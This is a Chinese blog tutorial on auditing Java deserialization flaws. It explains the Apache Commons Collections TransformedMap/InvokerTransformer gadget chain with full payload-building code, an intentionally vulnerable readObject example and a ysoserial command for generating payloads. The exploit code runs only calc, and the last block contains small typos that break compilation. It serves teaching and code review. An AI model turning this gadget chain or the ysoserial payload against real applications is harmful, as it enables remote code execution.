您的位置:首页 > 编程语言 > Java开发

java代码审计系列二:反序列化漏洞的分析

2020-03-09 23:36 399 查看

Java反序列化学习笔记

1.Java反序列化漏洞的简化

上一篇已经提到,序列化的过程中重写了readObject方法,会调用java的反射机制,而反序列化漏洞就在于接受外部输入的序列化对象,而不对其做限制。我们来弹个计算器。

这里利用地是ObjectInputStream类地readObject方法,该方法最终会调用method.invoke函数,将外部输入对象重写地readObject方法激活,因此形成漏洞。

少部分地文章中会提到反序列化的本质是重写readObject方法中,这没有触及到本质。仅是ObjectInputStream中出现了readObject方法,后续学习过程中,可以接触到Apache.Common.Collections中的TransformedMap和InvokerTransformer类,当然也需要readObject方法来触发。

写个有漏洞的序列化类

public class Employee implements Serializable {
public String name;
public String identify;
public void mailCheck(){
System.out.println("this is the" +this.identify+"of our company");
}

private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException {
Runtime.getRuntime().exec("calc");//注意windows系统里弹计算器的命令直接输calc即可,linux下换成open /Applications/Calculator.app/
}
}

写个主类

import java.io.*;

public class SerializeDemo {
public static void main(String[] args) {
Employee e = new Employee();
e.name = "员工甲";
e.identify = "General staff";
try{
//open a file stream
FileOutputStream fileOut = new FileOutputStream("d:\\task\\employee1.db");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(e);
out.close();
fileOut.close();
System.out.println("serialized data is saved in d:\\task\\employee1.db");

}catch (IOException i){
i.printStackTrace();
}

//反序列化的过程
Employee m = null;
try
{
// 打开一个文件输入流

FileInputStream fileIn = new FileInputStream("D:\\Task\\employee1.db");
// 建立对象输入流
ObjectInputStream in = new ObjectInputStream(fileIn);
// 读取对象
m = (Employee) in.readObject();
in.close();
fileIn.close();
}catch(IOException i)
{
i.printStackTrace();
return;
}catch(ClassNotFoundException c)
{
System.out.println("Employee class not found");
c.printStackTrace();
return;
}

}
}

成功弹出计算器

总结
如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

所以这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;假若反序列化可以设置Java类型的白名单,那么问题的影响就小了很多。

反序列化问题由来已久,且并非Java语言特有,在其他语言例如PHP和Python中也有相似的问题。常见的并不是反序列化这个问题,而是一些公用库,例如Apache Commons Collections中实现的一些类可以被反序列化用来实现任意代码执行

WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用,就是依靠了Apache Commons Collections。这种库的存在极大地提升了反序列化问题的严重程度。

案例
利用Apache Commons Collections来实现远程代码执行

以下来自:https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

1. Commons Collections 漏洞代码分析

Map类是存储键值对的数据结构,Apache Commons Collections中实现了类TransformedMap,用来对Map进行某种变换,只要调用decorate()函数,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap,decorate()函数如下:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

Transformer是一个接口,其中定义的transform()函数用来将一个对象转换成另一个对象。如下所示:

public interface Transformer {
public Object transform(Object input);
}

当Map中的任意项的Key或者Value被修改,相应的Transformer就会被调用。除此以外,多个Transformer还能串起来,形成ChainedTransformer。

Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下:

public class InvokerTransformer implements Transformer, Serializable {

...

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
/*重点啊!!!!input是外部传进来的,而且可以反射调用它的方法啊*/
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

}

2.Payload构造

只需要传入方法名、参数类型和参数,即可调用任意函数。因此要想任意代码执行,我们可以首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap,然后想办法去触发Map中的MapEntry产生修改(例如setValue()函数),即可触发我们构造的Transformer。

我们还是来弹个计算器康康吧!!!
记住,我们的最终目标是利用

InvokerTransformer(String methodName, Class[] paramTypes, Object[] args).transform(Object input)

执行

Runtime.getRuntime().exec("calc");

测试代码如下:

注意
Apache Commons Collections的版本号<=3.2.1

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class SerializeDemo {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};

Transformer transformedChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");

}
}

当上面的代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数:
首先通过ConstantTransformer获得Runtime类,
进一步通过反射调用getMethod找到invoke函数,最后再运行命令calc.exe。

但是目前的构造还需要依赖于触发Map中某一项去调用setValue(),我们需要想办法通过readObject()直接触发。

我们观察到java运行库中有这样一个类AnnotationInvocationHandler,这个类有一个成员变量memberValues是Map类型,如下所示:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
/*关键来了*/
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
...

更令人惊喜的是,AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数,如下所示:

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {  // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
// 此处触发一些列的Transformer
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

因此,我们只需要使用前面构造的Map来构造AnnotationInvocationHandler,进行序列化,当触发readObject()反序列化的时候,就能实现命令执行。另外需要注意的是,想要在调用未包含的package中的构造函数,我们必须通过反射的方式,综合生成任意代码执行的payload的代码如下:

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};

Transformer transformedChain = new ChainedTransformer(transformers);

Map innerMap = new hashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);

File f = new File("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();

}

以上解释了如何通过Apache Commons Collections 3这个库中的代码,来构造序列化对象,使得程序在反序列化时可以立即实现任意代码执行。

我们可以直接使用工具ysoserial来生成payload,当中包含了4种通用的payload:Apache Commons Collections 3和4,Groovy,Spring,只要目标应用的Class Path中包含这些库,ysoserial生成的payload即可让readObject()实现任意命令执行。

ysoserial当中针对Apache Commons Collections 3的payload也是基于TransformedMap和InvokerTransformer来构造的,而在触发时,并没有采用上文介绍的AnnotationInvocationHandler,而是使用了java.lang.reflect.Proxy中的相关代码来实现触发。此处不再做深入分析,有兴趣的读者可以参考ysoserial的源码。

审计方法

1.首先拿到一个Java应用,需要找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点。

我们可以通过审计源码中对反序列化函数的调用(例如readObject())来寻找,也可以直接通过对应用交互流量进行抓包,查看流量中是否包含java序列化数据来判断,java序列化数据的特征为以标记(ac ed 00 05)开头。

2.确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections库(ysoserial所支持的其他库亦可),

如果是,就可以使用ysoserial来生成反序列化的payload,指定库名和想要执行的命令即可

java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out

通过先前找到的传入对象方式进行对象注入,数据中载入payload,触发受影响应用中ObjectInputStream的反序列化操作,随后通过反射调用Runtime.getRunTime.exec即可完成利用。

  • 点赞
  • 收藏
  • 分享
  • 文章举报
zerollmeow 发布了3 篇原创文章 · 获赞 0 · 访问量 28 私信 关注
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: